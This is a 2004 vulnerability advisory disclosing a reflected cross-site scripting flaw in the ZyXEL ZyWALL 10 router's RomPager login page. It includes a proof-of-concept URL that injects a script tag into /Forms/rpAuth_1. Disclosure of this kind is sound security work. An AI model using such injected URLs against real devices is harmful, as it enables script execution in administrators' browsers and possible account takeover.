ZyXEL10 OF ZyWALL Series Router Cross Site Scripting Vulnerabillity

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Device: ZyXEL10 OF ZyWALL Series Router
Software: RomPager/4.07 UPnP/1.0
Vendor: http://www.zyxel.com
Versions: 4.07
Platforms: Windows
Bug: Cross Site Scripting Vulnerabillity
Risk: Low
Exploitation: Remote with browser
Date: 6 Jan 2004
Author: Rafel Ivgi, The-Insider
e-mail: the_insider_at_mail.com
web: http://theinsider.deep-ice.com

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1) Introduction
2) Bug
3) The Code

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===============
1) Introduction
===============

ZyXEL10 is a high quality VPN router. the ZyWALL 10 offers a powerful
firewall capability,
including Stateful Packet Inspection and Anti Denial of Service (D.o.S).
Device Details:
http://www.zyxel.com/product/model.php?indexcate=1022044503&indexFlagvalue=1
021873683

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2) Bug
======

The Vulnerabillity is Cross Site Scripting type. If an attacker will request
the followingurl from the server
http://<host>/Forms/rpAuth_1?ZyXEL%20ZyWALL%20Series<script>alert('XSS')</sc
ript>
XSS appears and the server allows an attacker to inject & execute scripts.

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3) The Code
===========

http://<host>/Forms/rpAuth_1?ZyXEL%20ZyWALL%20Series<script>alert('XSS')</sc
ript>

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Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com
"Things that are unlikeable, are NOT impossible."